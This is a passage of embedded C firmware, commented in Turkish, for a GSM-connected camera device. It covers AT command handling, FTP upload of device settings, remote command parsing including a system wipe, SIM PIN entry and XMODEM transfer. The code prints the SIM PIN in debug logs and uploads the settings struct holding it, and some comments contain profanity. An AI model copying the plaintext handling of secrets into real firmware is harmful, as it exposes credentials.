for (uint16_t i = 2; i < rxBuffer.index; i++) /* İlk 2 karekter \r \n */
{
if ( (rxBuffer.data[i] == '\r') || (rxBuffer.data[i] == '\n') || (rxBuffer.data[i] == 0) )
{ break; } /* Satır sonuna gelindiyse bitir */
dosyaKaynak[i - 2] = rxBuffer.data[i]; /* dosyaKaynak 0'dan başlayacağı için -2 şeklinde belirlenir */
}
xprint("camDosyaAdiAl(): %s", dosyaKaynak);
}
/*
* rxBuffer'daki Dosya Listesi VEYA Komut Listesini temize çekip kaç adet olduğunu saptar
* Giriş VE Çıkış olarak rxBuffer'ı kullanır, extra bir buffer kullanmaz
* Gelen dosya adları, temizlendikten sonra en fazla geldiği kadar olabileceğinden dolayı Buffer Problemi yaşanmaz
* Buffer'ın ilk byte'ı sayılmış olan Dosya veya Komut miktarını gösterir
* Kalan buffer şu şekilde işlenir:
* Başında '<' ve sonunda '>' olacaktır, bu bir adet komut veya dosyadır
* Kullanılırken baş ve sonraki '<>' çıkartılacaktır
*
* Data: "<Xdosyaadi.rar>"
* Kullan: "Xdosyaadi.rar"
*
* Data: "<!NUKESYSTEM>"
* Kullan: "!NUKESYSTEM"
*
* Rutin sonunda rxBuffer.index cntBulunan'a eşitlenir
* index mevcut bulunanların en sonu + 1'i gösterir
* Hiç bulunamadıysa 0 olur
*
* Eğer Dosya ayıklanacaksa dosya = true
* Eğer Komut ayıklanacaksa dosya = false
*
*/
uint8_t _dosyaAyikla(bool dosya)
{
uint16_t cntMain = 0; /* Buffer'ın Ana indexi */
uint16_t cntBulunan = 0; /* Bulunan ve Buffer'a kaydedilen yerleri tutan index */
uint16_t bulunan = 0; /* Kaç adet bulunduğu bilgisi */
const char basSentinel = '<'; /* Bulunan Baş Sentineli */
const char sonSentinel = '>'; /* Bulunan Son Sentineli */
char sentinel; /* Dosya ise 'X', Komut ise '!' */
if (dosya) { sentinel = 'X'; } else { sentinel = '!'; }
while (true)
{
if (cntMain >= rxBuffer.index) { break; } /* rxBuffer'daki veri limitine ulaşınca çık */
if (rxBuffer.data[cntMain++] == sentinel) { /* Sentinel bulundu */
/* Veriyi geçici değişkene kopyala */
bulunan++; /* Bulunan değişkeni arttır */
rxBuffer.data[cntBulunan++] = basSentinel; /* Bulunan Başlangıç Sentineli yaz */
rxBuffer.data[cntBulunan++] = sentinel; /* Bulunan Sentinel yerine yazılır, yoksa kayma yapar */
while (true) /* Dosya/Komut Adı bitene kadar kopyala */
{
if ( (rxBuffer.data[cntMain] == '\r') || (rxBuffer.data[cntMain] == '\n') || (cntMain >= rxBuffer.index) ) {
rxBuffer.data[cntBulunan++] = sonSentinel; /* Bulunan Son Sentineli yaz */
break;
}
rxBuffer.data[cntBulunan++] = rxBuffer.data[cntMain++];
}
}
}
rxBuffer.index = cntBulunan; /* rxBuffer.index'i bulunan counter'ını göstermesini sağla */
rxBuffer.data[cntBulunan] = 0; /* Sonunu NULL yap, kolay basılsın */
if (bulunan > 0) /* Bulunan dosya yoksa diğer rutinde Debug Out yapılıyor */
{ xprint("Bulunan Dosya/Komut: %d adet\r\n%s", bulunan, rxBuffer.data); }
return bulunan;
}
/*
* GSM Command'ı gönderilebilecek hale getirir
* _sendCOMM aracılığı ile gönderimi yapar
*
* commandGSM2 ve commandGSM3 opsiyonel olarak farklı string'ler eklemek için kullanılır
* Örn. AT +FS_WRITE FILENAME ,0,7500,200
* 1 2 3
*
* sadeceOK, AT komutlarından sonra Cevap olarak "OK" beklenip beklenmeyeceğidir
* Eğer "false" yapılırsa, "OK" cevabı gelse dahi, (: 0) cevabı beklenir
*
*/
gsmCommandResult_TypeDef sendGSMCommand(char *commandGSM, char *commandGSM2, char *commandGSM3, bool sadeceOK, uint32_t timeOut)
{
gsmCommandResult_TypeDef result = cmdTimeout;
uint32_t timeNow = CRYOTIMER_CounterGet(); /* Su anki zamani sakla */
bool errorFlag = false; /* ': x' gibi bir hatalı cevap detect edilince */
rxBuffer.index = 0;
sprintf(rxBuffer.data, "%s%s%s%s%s", GSM_AT, commandGSM, commandGSM2, commandGSM3, GSM_ENTER);
_txGonder(rxBuffer.data, MAX_RXBUFFER_SIZE, true); /* Tam bir gsmCommand haline gelen rxBuffer.data'ı Serial'dan gönder, NULL'da dur */
while (rxBuffer.index < MAX_RXBUFFER_SIZE) /* Beklenen cevap veya Error cevabı gelene kadar VEYA timeOut olana kadar cevapları topla */
{
if ( (timeNow + timeOut) < CRYOTIMER_CounterGet() ) /* Timeout süresi dolduysa */
{ xprint("Komut timeout oldu (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdTimeout; }
if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { /* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
rxBuffer.data[rxBuffer.index++] = LEUART_RxDataGet(LEUART0); /* RxDataGet ile direk register'dan okuma yapılır */
rxBuffer.data[rxBuffer.index] = 0; /* Otomatik olarak rxBuffer.data sonu NULL yapılır */
/*
* Burası çok hızlı çalışması gerekiyor yoksa OK ve ERROR detect "yapılamayabiliyor"
* Son karakter \n ise klasik OK ve ERROR kontrolleri yapılır
*
* Son karakter \n değil ise (:) OK ve ERROR kontrolleri yapılır
* ": x" ise ve x = 1 ile 9 arasında ise (Çünkü 0 değeri OK anlamındadır) Error sinyali olarak algılanır
*
* Harici Error karar verilmesi 2sn sonra yapılır
* 2 saniye içersinde önce "+FSCOPY: 100.0" sonra "OK" gelebiliyor ve bu ERROR olarak değil OK olarak işlenmesi lazım
* 2 saniye beklenirse önce OK kontrolü yapılacağından dolayı, cevap doğru olarak dönecektir
*
*/
/* Her satır başında gönderilen 2 karekterlik "\r\n" için kontrol yapma */
if (rxBuffer.index > 4) {
if (rxBuffer.data[rxBuffer.index-1] == '\n') {
if (sadeceOK) {
if ( (rxBuffer.data[rxBuffer.index-2] == '\r') && (rxBuffer.data[rxBuffer.index-3] == 'K') && (rxBuffer.data[rxBuffer.index-4] == 'O') )
{ xprint("OK (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdOk; }
}
if (rxBuffer.index > 7) { /* else kullanınca sorun çıkıyor, ate0 yapılmayan error'u detect edemiyor S*/
if ( (rxBuffer.data[rxBuffer.index-2] == '\r') && (rxBuffer.data[rxBuffer.index-3] == 'R') && (rxBuffer.data[rxBuffer.index-4] == 'O') &&
(rxBuffer.data[rxBuffer.index-5] == 'R') && (rxBuffer.data[rxBuffer.index-6] == 'R') && (rxBuffer.data[rxBuffer.index-7] == 'E'))
{ xprint("ERROR (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdError; }
}
} else
if ( (rxBuffer.data[rxBuffer.index-1 -2] == ':') && (rxBuffer.data[rxBuffer.index-1 -1] == ' ') ) {
if ( (rxBuffer.data[rxBuffer.index-1] > 48) && (rxBuffer.data[rxBuffer.index-1] < 58) )
{ errorFlag = true; } else /* Eğer 1..9 arasındaysa (:) errorFlag set edilir */
if (rxBuffer.data[rxBuffer.index-1] == '0' ) /* Eğer 0 ise Okay sinyali alınmıştır */
{ xprint("OK (:) (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdOk; }
}
}
}
/*
* Error komutları burada işlenir
* 2 saniye geçmesine rağmen OK sinyali gelmediyse ve errorFlag set edilmişse bu bir (:) hatadır
*
* Min. Timeout değeri 2sn olduğu için, hata kontrolünü 1.9sn olarak yapıyorum
*/
if ( (timeNow + 1900) < CRYOTIMER_CounterGet() ) {
if (errorFlag) { /* 2 saniye geçtiyse ve OK detect edilemediyse ve errorFlag set edilmişse */
/*
* IMEI Check komutunun cevabını işle
* Cevabın ilk satırı (Örneğin):
* +SIMEI: 357475051302357
* (23 karakter)
*
*/
if ((commandGSM[0] == '+') && (commandGSM[1] == 'S') && (commandGSM[2] == 'I') && (commandGSM[3] == 'M') &&
(commandGSM[4] == 'E') && (commandGSM[5] == 'I') && (commandGSM[6] == '?') )
{
char tmpC[30] = { 0 };
memcpy(tmpC, rxBuffer.data + 2, 23);
xprint("OK (:) %s", tmpC);
return cmdOk;
} else
{ xprint("ERROR (:) (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdError; }
}
}
}
return result;
}
/*
* Boş AT Komutları gönderilir ve Modül'ün uyanması sağlanır
* Herhangi bir cevap kontrolü yapılmaz
* LEUART pinleri Enabled burada yapılır
* Nasılsa her iletişim başında boş AT Komutları gönderilecektir, uart'da burada enable yapılması mantıklıdır
*/
void bosATKomutlari(void)
{
txAyarla(true); /* LEUART TX Pin Enabled edilsin. MODÜL AÇILDIKTAN SONRA! YOKSA SLEEP'E GEÇMEZ!!! */
bekle(1000, true, 2); /* 1 saniye bekleme yap, GSM Modül uartAyarlarını detect etsin */
sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
}
/*
* Login yapıldığında standart olarak alınan ver gönderilen dosyalar
* Gönderilir: bezersizad.log
* Alınıp işlenir: GSM_FTP_CMDFILE
*
*/
void loginDosyaAlVer(void)
{
uint32_t timeNow = CRYOTIMER_CounterGet(); /* Su anki zamani sakla */
gsmCommandResult_TypeDef result = cmdError;
char dosyaAdi[50];
char tmp[50];
_dosyaAdiOlustur(dosyaAdi, 0, true); /* Benzersiz dosya adı oluştur; 0 = Login; değişkenleri reset et */
sprintf(tmp, "AT+CFTPSPUT=\"%s\",%d%s", dosyaAdi, sizeof(systemVariables), GSM_ENTER);
_txGonder(tmp, sizeof(tmp), true); /* LEUART'dan basılanları FTP Server'a dosya olarak kaydetmek isteği gönder, NULL'da dur */
while (true)
{
if ( (timeNow + GSM_TIMEOUT_10) < CRYOTIMER_CounterGet() ) /* 10 saniye içersinde ">" cevabı gelmeli, yoksa timeout */
{ xprint("Login dosya gonderimi timeout (%s)", dosyaAdi); goto dosyaAl; }
if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { /* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
char tmp = LEUART_RxDataGet(LEUART0); /* RxDataGet ile direk register'dan okuma yapılır */
if (tmp == '>') {
_txGonder((char *) &systemVariables, sizeof(systemVariables), false); /* systemVariables'ı gönder, NULL'da durmadan hepsini gönder */
bekle (1000, true, 2); /* 1 Saniye bekle */
sendGSMCommand("+CFTPSPUT", "", "", true, GSM_TIMEOUT_10); /* En son bu komut gönderilerek dosyanın bittiği bildirilir */
break; /* Bekleme döngüsünden çık */
}
}
}
dosyaAl:
bosATKomutlari(); /* Eğer yukardaki rutin sorun çıkardıysa, LEUART'ı temizlemek maksadıyla kullanılıyor */
result = sendGSMCommand(GSM_FTP_GET, GSM_FTP_CMDFILE, "\"", false, GSM_TIMEOUT_30); /* Komut dosyasını varsa indirmeye çalış */
if (result == cmdOk) {
uint8_t komutSayisi = _dosyaAyikla(false); /* Komut ayıklanacağı için "false" */
if (komutSayisi > 0) {
xprint("Komutlar (%d) Parse Islemine gonderiliyor", komutSayisi);
komutParse();
} else
{ xprint("FTP'den dosya gelmesine ragmen komut bulunamadi! Ziktir a.q."); }
sendGSMCommand(GSM_FTP_DELETEFILE, GSM_FTP_CMDFILE, "\"", true, GSM_TIMEOUT_10); /* Komut dosyasını FTP Sunucusundan sil */
}
}
/* GSM Regulator kapatilir */
void gsmRegulatorClose(void)
{
txAyarla(false); /* LEUART TX Pin Disable */
GPIO_PinOutClear(GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN); /* GSM Regulator enable = 0 */
bekle(1000, true, 2); /* 1 saniye bekleme yap */
}
void resetSistem(void)
{
xprint("Tum Sistem reset ediliyor");
sendGSMCommand(GSM_CAMERA_DISABLE, "", "", true, GSM_TIMEOUT_2); /* Her halukarda Kamera regulatörünü kapat */
gsmRegulatorClose(); /* GSM Regulator kapatılır */
txAyarla(false); /* LEUART TX Pin Disable */
gecko_cmd_system_reset(0); /* Tüm sistem baştan başlasın */
}
/*
* GSM Modül'ü Sleep durumuna yani Minimum Functionality Mode'a geçirir
* Önem arzeden bir rutin'dir bu sebeple 3 defa deneme yapılmıştır
* Eğer denemeler başarısızlık ile sonuçlanırsa Tüm Sistem reset edilir
* (Sleep'e giremeyen modül ile sistemin çalışmasının bir anlamı yoktur)
*
* Logout ve Cftpstop komutları gönderilir
* Aslında gönderilmese de Sleep'e geçmede bir sorun çıkmaz
* Bu Modül'ün içersindeki "Thread" ın da kapanmasını ve "muhtemelen" daha az enerji harcamasını sağlar
* Geri dönüşünün kontrol edilmesine gerek yoktur
*
*/
void gsmSleep()
{
gsmCommandResult_TypeDef result = cmdError;
sendGSMCommand(GSM_FTP_LOGOUT, "", "", false, GSM_TIMEOUT_10);
sendGSMCommand(GSM_FTP_SSTOP, "", "", false, GSM_TIMEOUT_10);
/* 3 Defa Sleep Mod'a geçilmeye çalışılır */
for (uint8_t i = 1; i < 4; i++)
{
xprint("Modul Sleep durumuna geciliyor. Deneme: %d", i);
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
result = sendGSMCommand(GSM_MODE_OFF, "", "", true, GSM_TIMEOUT_10);
if (result == cmdOk)
{ xprint("gsmSleep() done"); break; }
xprint("gsmSleep() basarisiz!");
}
txAyarla(false); /* LEUART TX Pin Disable */
if (result != cmdOk) { resetSistem(); } /* Uykuya geçme başarısız olduysa Reset işlemi */
}
/*
* GSM Modül için gerekli olan hardware hazırlıkları yapılır
* Regulator başlatılarak GSM Modül'e elektrik verilir
* LEUART için rx,tx ayarları yapılır ama ENABLE işlemi GSM modül açıldıktan sonra yapılır
* Aksi halde GSM modül sleep'e girmiyor!!!
*
* GSM Modül açılır açılmaz gönderilen AT Komutları
* Modülün çalışıp çalışmadığı belirlenir
*
* GSM Modem ile ilk iletişim başlatılır
* Standart bazı komutlar gönderilir ve cevap beklenmez
* Echo OFF gönderilerek alınacak cevabın Echo'suz olması sağlanır
* En son tekrar Echo OFF gönderilir ve cevabı kontrol edilir
* Cevap beklendiği gibi ise GSM Modül çalışmaktadır
*
* BU RUTİN BAŞARILI SONUÇLANMALIDIR, AKSİ HALDE SİSTEMİN ÇALIŞMASININ BİR ANLAMI YOKTUR
* TEMEL İLETİŞİMİN BAŞARISIZLIĞI DOLAYISI İLE KAMERA KULLANILAMAZ VE SİSTEM ÇALIŞMAZ
* BU SEBEPLE BU RUTİN BAŞARILI OLANA KADAR "BRUTE FORCE" DENEMELER YAPILMAK ZORUNDADIR
*
*/
gsmCommandResult_TypeDef _initGSMCOM(void)
{
gsmCommandResult_TypeDef result = cmdError;
GPIO_PinOutSet (GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN); /* GSM Regulator enable = 1 */
GPIO_PinOutSet (GSM_ENABLE_PORT, GSM_ENABLE_PIN); /* GSM Modül enable yapılır */
bekle(2000, true, 2); /* 2 saniye bekleme yap */
GPIO_PinOutClear (GSM_ENABLE_PORT, GSM_ENABLE_PIN); /* Pin bırakılır. Bu esnada modül çalışmaya başlamış olmalıdır */
//while(1) { WDOG_Feed();} /* Köpeği besle, havlayıp reset etmesin */
bekle(5500, true, 2); /* GSM Modül'ün açılması için gereken minimum süre (tam açılmış olmaması gerekiyor) */
bekle(6500, false, 0); /* Toplamda 12 saniyede modül açılmış oluyor. Tam açıldığı zamanı tespit etmeye çalış */
while (!BEKLE_TIMEOUT) /* Timeout olana kadar veya cevap alınana kadar döngü */
{
if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { /* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
rxBuffer.data[rxBuffer.index] = LEUART_RxDataGet(LEUART0); /* RxDataGet ile direk register'dan okuma yapılır */
if (rxBuffer.data[rxBuffer.index] == '\n') { /* Beklenen cevap (+CPIN: SIM PIN) geldiyse döngüyü kır */
if ( (rxBuffer.data[rxBuffer.index-1] == '\r') && (rxBuffer.data[rxBuffer.index-2] == 'N') && (rxBuffer.data[rxBuffer.index-3] == 'I') &&
(rxBuffer.data[rxBuffer.index-4] == 'P') && (rxBuffer.data[rxBuffer.index-5] == ' ') && (rxBuffer.data[rxBuffer.index-6] == 'M') &&
(rxBuffer.data[rxBuffer.index-7] == 'I') && (rxBuffer.data[rxBuffer.index-8] == 'S') && (rxBuffer.data[rxBuffer.index-9] == ' ') &&
(rxBuffer.data[rxBuffer.index-10] == ':') && (rxBuffer.data[rxBuffer.index-11] == 'N') && (rxBuffer.data[rxBuffer.index-12] == 'I') &&
(rxBuffer.data[rxBuffer.index-13] == 'P') && (rxBuffer.data[rxBuffer.index-14] == 'C') && (rxBuffer.data[rxBuffer.index-15] == '+') )
{ break; }
}
rxBuffer.index++;
}
}
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
bosATKomutlari(); /* Boş AT Komutları gönderilerek modül uyandırılır */
sendGSMCommand(GSM_MODE_ON, "", "", true, GSM_TIMEOUT_2); /* Her halukarda CFUN=1 Full Functionality */
sendGSMCommand(GSM_CAMERA_DISABLE, "", "", true, GSM_TIMEOUT_2); /* Her halukarda Kamera regulatörünü kapat */
sendGSMCommand(GSM_FS_CD_ROOT_DIR, "", "", true, GSM_TIMEOUT_2); /* Önce Root Directory gidilir */
sendGSMCommand(GSM_FS_MKDIR_UPLOAD, "", "", true, GSM_TIMEOUT_2); /* Sonra Create /Upload Directory yapılır */
result = sendGSMCommand(GSM_ECHO_OFF, "", "", true, GSM_TIMEOUT_2); /* Echo OFF */
result = sendGSMCommand(GSM_ECHO_OFF, "", "", true, GSM_TIMEOUT_2); /* Echo OFF ve modül cevap veriyormu sınamasını yap */
return result;
}
void initGSM(void)
{
LEUART_Init_TypeDef LEUARTinit = LEUART_INIT_DEFAULT;
GPIO_PinModeSet(GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN, gpioModePushPull, 0); /* Regulator 0 olarak özellikle belirle */
GPIO_PinModeSet(GSM_ENABLE_PORT, GSM_ENABLE_PIN, gpioModePushPull, 0); /* GSM Module 0 olarak özellikle belirle */
GPIO_PinModeSet(GSM_PORT, GSM_RX_PIN, gpioModeInput, 0); /* RX Pin'i belirle */
bekle(2000, true, 2); /* Reset işleminden sonra regulator 0 olmasının ardından beklemek gerekir */
CMU_ClockEnable(cmuClock_LEUART0, true); /* LEUART clock ver */
LEUART_Init(LEUART0, &LEUARTinit); /* LEUART init ile birlikte başlatılır */
LEUART0->ROUTELOC0 = (LEUART0->ROUTELOC0 & (~_LEUART_ROUTELOC0_RXLOC_MASK)) | GSM_RX_LEUART_LOCATION;
LEUART0->ROUTEPEN = LEUART0->ROUTEPEN | LEUART_ROUTEPEN_RXPEN;
LEUART0->ROUTELOC0 |= (LEUART0->ROUTELOC0 & (~_LEUART_ROUTELOC0_TXLOC_MASK)) | GSM_TX_LEUART_LOCATION;
LEUART0->ROUTEPEN = LEUART0->ROUTEPEN | LEUART_ROUTEPEN_TXPEN;
gsmCommandResult_TypeDef result = cmdError;
result = _initGSMCOM(); /* GSM temel iletişim test edilir */
if (result != cmdOk) {
xprint("initGSM() basarisiz! 115200 baud deneniyor");
gsmRegulatorClose(); /* GSM Regulator kapatılır */
LEUART_Enable(LEUART0, false); /* LEUART disable */
yavasla(0); /* Sistem BLE Hızına çıkartılır */
CMU_ClockSelectSet(cmuClock_LFB, cmuSelect_HFCLKLE); /* LEUART'ın beslendiği LFB'ye HFCLKLE (HFXO'nun beslediği) bus bağlanır */
LEUARTinit.baudrate = 115200; /* LEUART 115200 çalıştırılır */
LEUART_Init(LEUART0, &LEUARTinit); /* LEUART init ile birlikte başlatılır */
result = _initGSMCOM(); /* GSM temel iletişim test edilir */
sendGSMCommand(GSM_BAUD_9600, "", "", true, GSM_TIMEOUT_2); /* BAUD Rate kalıcı olarak 9600 - BU KOMUTUN CEVABI BAUDRATE DEĞİŞTİĞİ İÇİN ALINAMIYOR - TIMEOUT OLUR */
resetSistem(); /* 115200 başarılı olsa da Reset işlemi, camRecord vs. 9600'e göre çalışıyor, zaten 115200'e gelmesi bir istisna! */
}
xprint("initGSM() done");
}
/*
* SIM kartın PIN'ini girer
* İstenmeyen yanlış pin girişleri için zarif bir rutin yazılmaya çalışılmıştır
*
* PIN İsteniyormu bakılır
* İsteniyorsa giriş yapılır ve sonuç kontrol edilir
* Hatalı giriş ise Flash update yapılarak birdaha deneme yapılmayacak şekle getirilir
*
* PIN Hiç girilmeden çalışıyorsa
* PIN set edilir ve Modülün Reset işlemine gerek duymadan devam edilir (Çalışıyor)
*
* PIN GİRİŞİNİN AKTİF EDİLMESİ İÇİN ESKİ ŞİFRE GEREKMEKTEDİR
*
*/
gsmCommandResult_TypeDef _pinEnter(void)
{
gsmCommandResult_TypeDef result = cmdError;
result = sendGSMCommand(GSM_SIM_PIN_STATUS, "", "", true, GSM_TIMEOUT_2); /* PIN Durumunu sorgula */
if (result != cmdOk) { return result; } /* Cevap gelmediyse veya hata varsa geri döndür */
if ( strstr(rxBuffer.data, "CPIN: READY") > 0 ) {
result = sendGSMCommand(GSM_SIM_PIN_SETNEW, systemVariables.pin, "\"", true, GSM_TIMEOUT_2); /* Yeni PIN set et */
if (result == cmdOk) {
xprint("PIN Kullanilmadigi icin ESKI PIN TEKRAR Set edildi: %s", systemVariables.pin);
if (systemVariables.pinDogru != 0) { /* Son PIN girişi hatalı olarak gözüküyorsa */
systemVariables.pinDogru = 0; /* Son PIN girişi Doğru */
flashWrite(); /* Değişikliği flash'a yaz */
}
} else
{ xprint("Yeni Pin set etme isleminde HATA"); }
} else
{
result = sendGSMCommand(GSM_SIM_PIN_ENTER, systemVariables.pin, "\"", true, GSM_TIMEOUT_2); /* Yeni PIN set et */
if (result != cmdOk) {
if (++systemVariables.pinDogru > 2) {
xprint("Toplam 3'den fazla PIN Giris hatasi! Sistem NUKE yapiliyor");
gsmRegulatorClose(); /* Önce regulatör kapatılır çünkü nukeSystem()'de regulator açmaya çalışırken kapatma meydana gelebilir */
nukeSystem(); /* Bütün sistemin amına koy */
} else {
xprint("PIN Giris hatasi arttirilarak yaziliyor");
flashWrite();
resetSistem();
}
} else {
if (systemVariables.pinDogru > 0) { /* PIN Doğru girildiyse ve pinDogru daha önce arttırılmışsa Sıfırla */
xprint("Son PIN Girisi sifirlaniyor");
systemVariables.pinDogru = 0; /* Son PIN girişi Doğru */
flashWrite(); /* Değişikliği flash'a yaz */
}
}
}
return result;
}
int _xmodemCRC(char *ptr, int count)
{
int crc;
char i;
crc = 0;
while (--count >= 0)
{
crc = crc ^ (int) *ptr++ << 8;
i = 8;
do
{
if (crc & 0x8000)
crc = crc << 1 ^ 0x1021;
else
crc = crc << 1;
} while(--i);
}
return (crc);
}
/*
* Makul bir süre içinde bir cevap bekler
* Gelen cevabı beklenen cevapla karşılaştırıp geri döndürür
*
*/
uint8_t _xmodemBekle(uint8_t cevap)
{
uint8_t result = 1; /* Cevap Default olarak hata */
uint32_t timeNow = CRYOTIMER_CounterGet(); /* Su anki zamani sakla */
while (true)
{
if ( (timeNow + XMODEM_CEVAP_TIMEOUT) < CRYOTIMER_CounterGet() ) /* Timeout süresi dolduysa */
{ xprint("Cevap timeout oldu: %02X", cevap); return 1; }
if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { /* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
uint8_t tmpI = LEUART_RxDataGet(LEUART0); /* RxDataGet ile direk register'dan okuma yapılır */
if (tmpI == 0x00) { continue; } /* Cevap 2 byte geliyor, biri 0x00, bunu basitçe atlarsam sonucu bulurum */
if (tmpI == cevap)
{ xprint("Beklenen cevap geldi: %02X", tmpI); return 0;} else
{ xprint("Hatali cevap geldi: %02X", tmpI); return cevap;}
}
}
return result;
}
uint8_t _xmodemPaketGonder(uint8_t paketNo, btUpdateBuffer_TypeDef *btUpdateBuffer)
{
uint8_t result = 1; /* Cevap Default olarak hata */
uint32_t timeNow = CRYOTIMER_CounterGet(); /* Su anki zamani sakla */
while (true) /* Timeout olana kadar veya beklenen sonuç alana kadar dene */
{
if ( (timeNow + XMODEM_PAKET_TIMEOUT) < CRYOTIMER_CounterGet() )
{ xprint("Paket gonderimi timeout oldu: %02X", paketNo); return 1; }
LEUART_Tx(LEUART0, XMODEM_SOH); /* Start of Header */
LEUART_Tx(LEUART0, paketNo); /* Paket No */
LEUART_Tx(LEUART0, 0xff - paketNo); /* 0xff - paketNo */
uint32_t pktAdresi = (paketNo-1) * 128; /* Paket başının adresi */
/* XMODEM Paket uzunluğu kadar veriyi gönder */
for (uint8_t i = 0; i < XMODEM_PAKET_UZUNLUK; i++)
{ LEUART_Tx(LEUART0, btUpdateBuffer->data[pktAdresi + i]); } /* Paket datasını gönder */
/*
* Checksum değerini hesapla ve gönder
* Hesaplama işleminde gönderilen paketin btBuffer.buffer adresi hesaplanarak kullanılıyor
* Hesaplama işleminde pktAdresi kullanılır
* pktAdresi aynı zamanda "yukarda" LEUART'dan hangi byte'ın gönderileceği hesabında da kullanılır
*
*/
char *ptr = ((char *) (&btUpdateBuffer->data) ) + pktAdresi ;
uint16_t chkSum = _xmodemCRC(ptr, XMODEM_PAKET_UZUNLUK);
LEUART_Tx(LEUART0, (uint8_t) (chkSum >> 8) );
LEUART_Tx(LEUART0, (uint8_t) chkSum);
result = _xmodemBekle(XMODEM_ACK); /* ACK Sinyali bekle */
if (!result) /* Paket başarıyla gönderildi, Hata varsa tekrar gönder */
{ break;}
}
return result;
}
/*
* btUpdateBuffer XMODEM protocol ile gönderilir
* Buraya geldiğinde modül çalışıyor ve /Upload directory içindedir
*
*/
void xmodemSend(char *dosyaUpload, btUpdateBuffer_TypeDef *btUpdateBuffer)
{
uint8_t result; /* Değerlendirilecek Cevaplar */
xprint("XMODEM ile gonderilecek dosya: %s", dosyaUpload);
for (uint8_t i = 0; i < 2; i++) /* 2 defa XMODEM gönderi yapmayı dene */
{
uint8_t paketNo = 1; /* Gönderilecek paket numarası, 1'den başlar, Resetten sonra burada olmalı */
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2); /* Döngüde GSM Modül reset edebilir, /Upload directory gir */
sendGSMCommand(GSM_FS_DEL, dosyaUpload, "", true, GSM_TIMEOUT_2); /* Belki aynı isimde yarım kalan gönderi olmuştur, silmek gerekir */
sendGSMCommand(GSM_XMODEM_DELAY, "", "", true, GSM_TIMEOUT_2); /* GSM Modül XMODEM transfer başlangıcında hiç bekleme yapmadan hemen başlasın */
sendGSMCommand(GSM_XMODEM_SEND, dosyaUpload, "\"",true, GSM_TIMEOUT_2); /* Dosya adını gönder ve GSM Modül XMODEM dosya transferi başlatsın */
result = _xmodemBekle(XMODEM_NCG); /* XMODEM başlama için GSM Modülden 'C' bekle */
if (result)
{ goto cikis; }
xprint("Baslama cevabi alindi: %02X", result);
while (true)
{
xprint("Paket gonderiliyor: %d", paketNo);
result = _xmodemPaketGonder(paketNo, btUpdateBuffer);
if (result)
{ goto cikis; }
if ( (paketNo * 128) >= btUpdateBuffer->counter) /* Yeterince gönderildiyse çıkış */
{ break; }
paketNo++; /* Burada arttır */
}
LEUART_Tx(LEUART0, XMODEM_EOT); /* End of Transfer gönder */
result = _xmodemBekle(XMODEM_ACK); /* Son ACK'yı bekle */
LEUART_Tx(LEUART0, '\r'); /* Enter göndererek bitir, cevap gelmeyecek */
cikis:
if (result) {
xprint("XMODEM Hata! Modul kapatip acilacak ve XMODEM tekrar denenecek");
gsmRegulatorClose(); /* GSM Regulator kapatılır */
initGSM(); /* GSM Modül ile ilk iletişim gerçekleşir */
} else
{ xprint("XMODEM gonderimi basarili sonuclandi"); break; }
}
if (result != cmdOk) { resetSistem(); } /* XMODEM Gönderimi başarısız olduysa Reset işlemi */
}
/*
* GSM Modül CFUN=1 yani full functional mod'a geçirilir
* Eğer başarısız olursa devam etmenin bir anlamı olmadığından reset edilir
*
* PIN girilerek RF'in aktif olması beklenir
*
*/
void onlineGSM(void)
{
gsmCommandResult_TypeDef result = cmdError;
result = sendGSMCommand(GSM_MODE_ON, "", "", true, GSM_TIMEOUT_10);
if (result != cmdOk) { xprint("Full functional moda gecilemiyor"); resetSistem(); }
result = _pinEnter(); /* Pin enabled ise girmeye çalış, hata durumu geri döndür (Modülden cevap alınamamış olabilir) */
if (result != cmdOk) { resetSistem(); } /* Pin girişinde sorun çıktıysa sistemi reset et */
bekle(10000, true, 2); /* PIN Girişinden sonra 10 saniye daha bekle, network registration'lar tamamen bitsin */
}
/*
* GSM Modül'ü Data Moduna geçirir
* Önce Vodafone APN kullanmayı dener
* Başarısız olursa Turkcell APN kullanmayı dener
* FTP'ye login yapar
* FTP'de sorun varsa 2. FTP'yi de dener
* cmd.txt dosyasını indirerek işlemden geçirir
*
*/
gsmCommandResult_TypeDef gsmDataMode(void)
{
gsmCommandResult_TypeDef result = cmdError;
char tmpS[100];
xprint("Data Mode geciliyor");
for (uint8_t i = 1; i < 3; i++) {
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
bosATKomutlari(); /* Boş AT Komutları gönderilerek modül uyandırılır */
onlineGSM(); /* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin */
/* Önce Vodafone denenir, bağlantı kurulamazsa Turkcell APN denenir */
if (i == 1) {
sendGSMCommand(GSM_APN1_VODAFONE, "", "", true, GSM_TIMEOUT_2);
